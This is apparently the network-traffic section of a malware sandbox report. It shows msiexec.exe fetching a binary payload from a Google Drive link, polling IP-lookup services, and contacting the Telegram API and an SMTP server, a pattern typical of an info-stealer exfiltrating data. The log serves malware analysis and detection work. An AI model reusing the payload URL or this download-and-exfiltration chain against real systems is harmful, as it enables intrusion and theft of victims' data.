Oct 14, 2024 09:12:32.687771082 CEST	49873	587	192.168.2.4	213.165.67.118
Oct 14, 2024 09:12:32.687771082 CEST	49873	587	192.168.2.4	213.165.67.118
Oct 14, 2024 09:12:32.687793970 CEST	49873	587	192.168.2.4	213.165.67.118
Oct 14, 2024 09:12:32.692622900 CEST	587	49873	213.165.67.118	192.168.2.4
Oct 14, 2024 09:12:32.692637920 CEST	587	49873	213.165.67.118	192.168.2.4
Oct 14, 2024 09:12:32.692650080 CEST	587	49873	213.165.67.118	192.168.2.4
Oct 14, 2024 09:12:32.692671061 CEST	587	49873	213.165.67.118	192.168.2.4
Oct 14, 2024 09:12:32.692682981 CEST	587	49873	213.165.67.118	192.168.2.4
Oct 14, 2024 09:12:32.692816973 CEST	587	49873	213.165.67.118	192.168.2.4
Oct 14, 2024 09:12:32.692877054 CEST	587	49873	213.165.67.118	192.168.2.4
Oct 14, 2024 09:12:32.692888975 CEST	587	49873	213.165.67.118	192.168.2.4
Oct 14, 2024 09:12:32.692900896 CEST	587	49873	213.165.67.118	192.168.2.4
Oct 14, 2024 09:12:32.692912102 CEST	587	49873	213.165.67.118	192.168.2.4
Oct 14, 2024 09:12:32.896795988 CEST	587	49873	213.165.67.118	192.168.2.4
Oct 14, 2024 09:12:32.897504091 CEST	49873	587	192.168.2.4	213.165.67.118
Oct 14, 2024 09:12:32.903305054 CEST	587	49873	213.165.67.118	192.168.2.4
Oct 14, 2024 09:12:32.903412104 CEST	49873	587	192.168.2.4	213.165.67.118

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 14, 2024 09:12:05.972544909 CEST	56875	53	192.168.2.4	1.1.1.1
Oct 14, 2024 09:12:05.979734898 CEST	53	56875	1.1.1.1	192.168.2.4
Oct 14, 2024 09:12:07.096993923 CEST	53852	53	192.168.2.4	1.1.1.1
Oct 14, 2024 09:12:07.104625940 CEST	53	53852	1.1.1.1	192.168.2.4
Oct 14, 2024 09:12:10.959350109 CEST	55639	53	192.168.2.4	1.1.1.1
Oct 14, 2024 09:12:10.966128111 CEST	53	55639	1.1.1.1	192.168.2.4
Oct 14, 2024 09:12:11.982721090 CEST	63314	53	192.168.2.4	1.1.1.1
Oct 14, 2024 09:12:11.992209911 CEST	53	63314	1.1.1.1	192.168.2.4
Oct 14, 2024 09:12:21.387521029 CEST	53373	53	192.168.2.4	1.1.1.1
Oct 14, 2024 09:12:21.394571066 CEST	53	53373	1.1.1.1	192.168.2.4
Oct 14, 2024 09:12:29.085366964 CEST	56791	53	192.168.2.4	1.1.1.1
Oct 14, 2024 09:12:29.092536926 CEST	53	56791	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 14, 2024 09:12:05.972544909 CEST	192.168.2.4	1.1.1.1	0x64f9	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Oct 14, 2024 09:12:07.096993923 CEST	192.168.2.4	1.1.1.1	0x5455	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Oct 14, 2024 09:12:10.959350109 CEST	192.168.2.4	1.1.1.1	0xc1a1	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Oct 14, 2024 09:12:11.982721090 CEST	192.168.2.4	1.1.1.1	0xda4d	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Oct 14, 2024 09:12:21.387521029 CEST	192.168.2.4	1.1.1.1	0x98bd	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Oct 14, 2024 09:12:29.085366964 CEST	192.168.2.4	1.1.1.1	0xd2e	Standard query (0)	smtp.ionos.es	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 14, 2024 09:12:05.979734898 CEST	1.1.1.1	192.168.2.4	0x64f9	No error (0)	drive.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Oct 14, 2024 09:12:07.104625940 CEST	1.1.1.1	192.168.2.4	0x5455	No error (0)	drive.usercontent.google.com		142.250.185.97	A (IP address)	IN (0x0001)	false
Oct 14, 2024 09:12:10.966128111 CEST	1.1.1.1	192.168.2.4	0xc1a1	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 14, 2024 09:12:10.966128111 CEST	1.1.1.1	192.168.2.4	0xc1a1	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Oct 14, 2024 09:12:10.966128111 CEST	1.1.1.1	192.168.2.4	0xc1a1	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Oct 14, 2024 09:12:10.966128111 CEST	1.1.1.1	192.168.2.4	0xc1a1	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Oct 14, 2024 09:12:10.966128111 CEST	1.1.1.1	192.168.2.4	0xc1a1	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Oct 14, 2024 09:12:10.966128111 CEST	1.1.1.1	192.168.2.4	0xc1a1	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Oct 14, 2024 09:12:11.992209911 CEST	1.1.1.1	192.168.2.4	0xda4d	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 14, 2024 09:12:11.992209911 CEST	1.1.1.1	192.168.2.4	0xda4d	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 14, 2024 09:12:21.394571066 CEST	1.1.1.1	192.168.2.4	0x98bd	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Oct 14, 2024 09:12:29.092536926 CEST	1.1.1.1	192.168.2.4	0xd2e	No error (0)	smtp.ionos.es		213.165.67.118	A (IP address)	IN (0x0001)	false
Oct 14, 2024 09:12:29.092536926 CEST	1.1.1.1	192.168.2.4	0xd2e	No error (0)	smtp.ionos.es		213.165.67.102	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49744	193.122.130.0	80	7824	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 09:12:10.978410959 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 14, 2024 09:12:11.444911003 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 07:12:11 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 4fe55711742fb2f777c1a0a3cac46164 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Oct 14, 2024 09:12:11.449043036 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 14, 2024 09:12:11.559118032 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 07:12:11 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: aed5e4b4a7c86a1d3b60bf445733e6ef Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Oct 14, 2024 09:12:12.768369913 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 14, 2024 09:12:12.878074884 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 07:12:12 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 73e4e7b40fa1402ce85dae0a559bd3db Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49762	193.122.130.0	80	7824	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 09:12:13.518816948 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 14, 2024 09:12:14.017910004 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 07:12:13 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 8f1a4049f30890d0dccf233d0aa916bb Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49770	193.122.130.0	80	7824	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 09:12:14.657296896 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 14, 2024 09:12:15.151238918 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 07:12:15 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: d00591f341585d30aa12514aa8676e5c Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49781	193.122.130.0	80	7824	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 09:12:15.784436941 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 14, 2024 09:12:16.258533001 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 07:12:16 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: dee6152f077bac4abf8d2acc89e29328 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49788	193.122.130.0	80	7824	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 09:12:16.940207005 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 14, 2024 09:12:17.414257050 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 07:12:17 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 27571e27a3973c85d8cd0bbbc4122eaf Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49800	193.122.130.0	80	7824	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 09:12:18.050544977 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 14, 2024 09:12:18.514950991 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 07:12:18 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 9cc9dd0d799153c07bc3b0c1f5e62ee3 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49808	193.122.130.0	80	7824	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 09:12:19.128623962 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 14, 2024 09:12:19.622350931 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 07:12:19 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 7a0275c33e5c5f3773507381dfdc4ae2 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49816	193.122.130.0	80	7824	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 09:12:20.235567093 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 14, 2024 09:12:20.709753990 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 07:12:20 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: bebfdf37d67e092f6d2aa4e59ae8ac16 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	142.250.185.110	443	7824	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 07:12:06 UTC	208	OUT	GET /uc?export=download&id=1o_nnklIpduc3m7_4gtk6vGG-tgHcGRhM HTTP/1.1 User-Agent: 5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2024-10-14 07:12:07 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 14 Oct 2024 07:12:06 GMT Location: https://drive.usercontent.google.com/download?id=1o_nnklIpduc3m7_4gtk6vGG-tgHcGRhM&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'nonce-O2DR5eT1xGrW6x2WkwpTFw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	142.250.185.97	443	7824	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 07:12:07 UTC	250	OUT	GET /download?id=1o_nnklIpduc3m7_4gtk6vGG-tgHcGRhM&export=download HTTP/1.1 User-Agent: 5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-10-14 07:12:10 UTC	4889	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="phdBweyXE230.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 279616 Last-Modified: Mon, 14 Oct 2024 00:14:50 GMT X-GUploader-UploadID: AHmUCY1yY9dMA9NcO5X-WShusv0Kk2MiJZQarhuj3lgFws2GG7MJbPVXxaboAZ9weBDHCsTpySw Date: Mon, 14 Oct 2024 07:12:09 GMT Expires: Mon, 14 Oct 2024 07:12:09 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=mFnskw== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-14 07:12:10 UTC	4889	IN	Data Raw: 37 ee 8c 7e db 5c 03 2a 15 0f b8 ca 8d 6e ff 44 f2 bb e8 31 83 e6 c0 28 ee 93 d9 e5 1d 87 e1 30 62 31 18 77 34 cf 29 b4 cd 8e a9 d0 af 59 d4 c4 03 a0 44 8f 0a 45 5d ed db d3 42 86 35 fd 5c 67 ae f7 74 9e b5 9a 29 6e fc 5e 61 eb f7 48 6c 41 27 86 e2 87 91 ea be 04 bd f7 a3 48 75 31 1d a5 58 7a a0 0b 55 f4 e7 88 fb 89 1b bb 84 da f5 13 22 8d 3d 95 37 8c 66 5c 7c 97 f5 77 93 e0 33 a9 f6 7b e0 6b 9e 7f 14 31 30 90 f2 13 79 03 54 77 d7 bf 6f c4 0b 15 eb 43 46 07 0d ff a0 f7 7f 27 9d 95 67 84 50 f3 a3 db 88 d1 92 e1 b8 25 5b 38 a4 e2 1b 1d 5b 46 6b a7 0f da 5a a3 0d d1 5a 19 c4 e1 e9 d5 15 e2 a4 a9 c0 61 a4 e5 01 a2 9b 9d 22 fa 2c f0 70 71 24 e0 ac d4 0e 1f 9d eb 72 b7 bf eb 88 88 a9 c2 90 fd 58 66 7a 38 05 aa bd ea 3e 35 e8 25 ce 79 bd 6b 85 b0 6a 62 3b fc c7 Data Ascii: 7~\*nD1(0b1w4)YDE]B5\gt)n^aHlA'Hu1XzU"=7f\\|w3{k10yTwoCF'gP%[8[FkZZa",pq$rXfz8>5%ykjb;
2024-10-14 07:12:10 UTC	4889	IN	Data Raw: 78 94 fb c2 28 49 c5 f3 19 99 c5 fa f7 ea c4 80 66 5b 08 f2 52 b4 7a 03 fd 00 81 6f c6 52 02 45 4b cd 8f 27 cc 73 e8 e6 99 00 51 0c b8 c4 16 90 8f c0 2f 32 3e ad 0b 99 d9 ac 73 dc 45 7c 71 bf 79 ca db e0 c4 d8 99 4e 9e 29 91 74 01 59 3b fa 43 3d 9d cf d7 e4 11 19 95 d0 a5 85 f2 f3 eb d7 b4 96 c0 16 59 15 fe 65 73 17 2d 55 65 5a b8 f9 82 7e 14 08 a6 27 00 a7 44 55 65 85 98 b5 d6 78 af 72 b9 78 65 c6 94 46 ba 69 2e d5 e1 0d 8a 42 25 33 ce 95 31 86 21 83 d0 1a 2f 43 f3 80 bf 5c c2 0e 5d 12 5c 2a c1 39 ae 37 89 91 65 18 20 0b b0 e9 60 af ed 5f 98 23 52 da 8b 1f 10 65 ec ee 05 4f 14 e1 19 41 b3 a3 9f cc d0 ab 49 f0 58 00 56 ba 4b c9 cf 0c 8b e8 1b 0d 39 e2 ff 3b d9 b3 46 af e8 e2 c0 ec e6 7e ed 7d ec 7a 85 2f 60 77 73 5d 04 42 87 bc b8 db 90 a5 57 5e eb a7 ed Data Ascii: x(If[RzoREK'sQ/2>sE\|qyN)tY;C=Yes-UeZ~'DUexrxeFi.B%31!/C\]\*97e `_#ReOAIXVK9;F~}z/`ws]BW^
2024-10-14 07:12:10 UTC	34	IN	Data Raw: f4 1a 5f 4a b8 10 c6 0d 42 7e bd a8 02 87 14 3e 57 05 96 52 e2 10 13 fb 53 0e ed 28 99 9e 0e 6f 11 a9 Data Ascii: _JB~>WRS(o
2024-10-14 07:12:10 UTC	1320	IN	Data Raw: f8 4b 3a 00 5e e4 f1 6f af 50 9d 83 6c 9c 9d a7 ae 6e 88 20 6e b6 68 09 3e ca 45 43 37 be 73 5e bc ba a2 b2 aa 78 29 52 36 66 6c db cb f8 0e 17 a8 d4 c3 1c 54 3a 7e 55 b0 03 2a a1 d4 c7 eb 9e 12 64 f2 ed 54 d3 6e b8 60 d9 31 88 66 68 48 f5 d6 17 b1 e8 0f b0 22 75 8d 14 b3 72 c6 2c 5a e5 1c 89 5d 98 50 ee 63 6c a2 ff e2 9e 4a f4 bb 28 41 f8 a8 54 88 40 c1 cd 07 e6 de 03 e8 94 af d2 4b c4 82 d6 ed 49 18 76 fe 39 42 89 b7 a3 2c c8 9d 63 70 7f ec 9a a0 25 18 44 cb c4 c6 87 f7 6d 3a 35 96 0d 04 0a 64 5b 49 d4 e9 a7 55 42 6e fe 43 2d 6d ca 0e c1 af 8a 53 97 78 f3 ad b7 77 df 79 e5 3b f6 18 74 ff 43 d2 92 df 24 1f bf 4d b6 3a 8e e4 50 c2 95 2e 81 8f 76 75 e0 5d 41 9a 1c 8a c3 7b 7c 55 25 38 c9 6b 49 90 58 4a 6d 45 35 5e 9f 29 ed f6 0b b2 e0 b7 23 cd 98 5b fc e1 Data Ascii: K:^oPln nh>EC7s^x)R6flT:~U*dTn`1fhH"ur,Z]PclJ(AT@KIv9B,cp%Dm:5d[IUBnC-mSxwy;tC$M:P.vu]A{\|U%8kIXJmE5^)#[
